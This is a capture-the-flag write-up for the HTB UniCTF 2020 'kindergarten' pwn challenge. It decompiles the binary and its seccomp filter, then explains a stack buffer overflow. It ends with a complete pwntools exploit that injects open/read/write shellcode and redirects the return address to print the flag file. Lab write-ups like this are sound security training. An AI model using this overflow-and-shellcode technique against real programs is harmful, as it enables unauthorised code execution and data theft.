When you set the rules, everything is under control! Or not?

Category: Pwn

Solver: Pandoron, t0bi

First let’s run checksec kindergarten.

[*] '/home/user/htb-unictf-2020/kindergarten/kindergarten'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

This is good! No stack canary, no position independent code. This must be easy, right?

main function

undefined8 main(void)

{
  size_t sVar1;
  
  setup();
  sec();
  sVar1 = strlen(&kids_must_follow);
  write(1,&kids_must_follow,sVar1);
  read(0,ans,0x60);
  kinder();
  sVar1 = strlen("Have a nice day!!\n");
  write(1,"Have a nice day!!\n",sVar1);
  return 0;
}

setup

setups the challenge buffering for networking. No buffering is used. Everything is written as soon as possible.

void setup(void)

{
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  alarm(0x7f);
  return;
}

sec

adds seccomp rules

void sec(void)

{
  undefined8 uVar1;
  
  uVar1 = seccomp_init(0);
  seccomp_rule_add(uVar1,0x7fff0000,2,0);    // sys_open
  seccomp_rule_add(uVar1,0x7fff0000,0,0);    // sys_read
  seccomp_rule_add(uVar1,0x7fff0000,0x3c,0); // sys_exit
  seccomp_rule_add(uVar1,0x7fff0000,1,0);    // sys_write
  seccomp_rule_add(uVar1,0x7fff0000,0xf,0);  // sys_rt_sigreturn
  seccomp_load(uVar1);
  return;
}

All rules use the SCMP_ACT_ALLOW=0x7fff0000and allow the syscalls noted as comment.

Thus we don’t have the execve syscall and can’t get a proper shell. However we can still use open, read and write to access a flag file.

kinder

This seems to be the most interesting function. It first defines some variables and strings and have the following while loop.

  while (end == 0) {
    counter = counter + 1;
    length = strlen(more_questions_str);
    write(1,more_questions_str,length);
    read(0,ans_more,4);
    if (counter == 5) {
      end = 1;
      length = strlen(enough_questions_str);
      write(1,enough_questions_str,length);
      read(0,&too_small_variable,0x14c);
    }
    else {
      if ((ans_more[0] == 'y') || (ans_more[0] == 'Y')) {
        length = strlen(feel_free_str);
        write(1,feel_free_str,length);
        read(0,question,0x1f);
        length = strlen(interesting_question_str);
        write(1,interesting_question_str,length);
      }
      else {
        end = 1;
      }
    }
  }

We see that we can ask questions and get the same answer every time. After 5 questions, we are told

Enough questions for today class...
Well, maybe a last one and then we finish!

Then the read(0,&too_small_variable,0x14c); is called. This reads in 0x14c = 332 bytes into our too_small_variable that is located on the stack at -0x88. Obviously this reads too much and we can overwrite the return pointer.

But there is another function …

kids_are_not_allowed_here

This function is interesting. It is never called.

void kids_are_not_allowed_here(void)
{
  size_t __n;
  
  __n = strlen(&kids_not_allowed_str);
  write(1,&kids_not_allowed_str,__n);
  (*(code *)ans)();
  return;
}

It interprets the bytes the ans pointer points to as code and executes it. This ans array can be modified by us in the main method.

Plan

Now that we found out that we can run some shell code that has been inserted previously into the ans pointer, we just need to somehow call the kids_are_not_allowed_here function. We will do this by overflowing the toosmallvariable in kinder and by overwriting its return pointer (return address offset found using binary ninja disassembler) to point exactly to kids_are_not_allowed_here. The shell code will then be running a SYS_open sys call to open ./flag.txt. We will then read its contents into some free address space (we simply used the stack here) using the SYS_read sys call. Finally we will print by calling SYS_write on the file descriptor of standard_in (1). All of this is demonstrated in the following exploit code:

from pwn import *

context.update(arch='x86_64', os='linux')

sh = shellcraft.pushstr("./flag.txt")
sh += shellcraft.syscall('SYS_open', 'rsp', 'O_RDONLY', 0)
sh += shellcraft.syscall('SYS_read', "rax", "rsp", 32)
sh += shellcraft.syscall('SYS_write', 1, "rsp", 32)

SHELLCODE = asm(sh)
print(len(SHELLCODE))

EBP = "\x00\x00\x00\x00\x00\x00\x00\x00" # old ebp, does not matter
RET_ADDR = "\x00\x40\x09\x0C"[::-1] # address of kids_are_not_allowed_here

question_0 = "A" * 0x1f
question_1 = "B" * 0x1f
question_2 = "C" * 0x1f
question_3 = "D" * 0x1f
question_4 = "E" * 0x80 + EBP + RET_ADDR

shell = remote("docker.hackthebox.eu", 30557)

# is everything clear?
shell.send(SHELLCODE)

# question 1
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_0)

# question 2
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_1)

# question 3
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_2)

# question 4
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_3)

# question 5
print(shell.recv())
shell.send("y")
print(shell.recv())
shell.send(question_4)

shell.interactive()

The result yields us a fine flag:

HTB{2_c00l_4_$cH0oL !! }

Proof screenshot:

flag